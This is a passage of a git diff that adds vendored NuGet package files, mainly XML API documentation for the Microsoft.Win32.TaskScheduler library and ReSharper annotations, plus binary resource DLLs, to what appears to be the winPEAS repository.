'_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/de/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..6df011b Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/es/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..926b488 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/fr/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..a77b715 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/it/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..834915f Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/pl/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..4fcec6f Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/ru/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..1292be4 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..b7f0e07 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll new file mode 100755 index 0000000..5987ebf Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..f18d12e --- /dev/null +++ b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,8619 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if 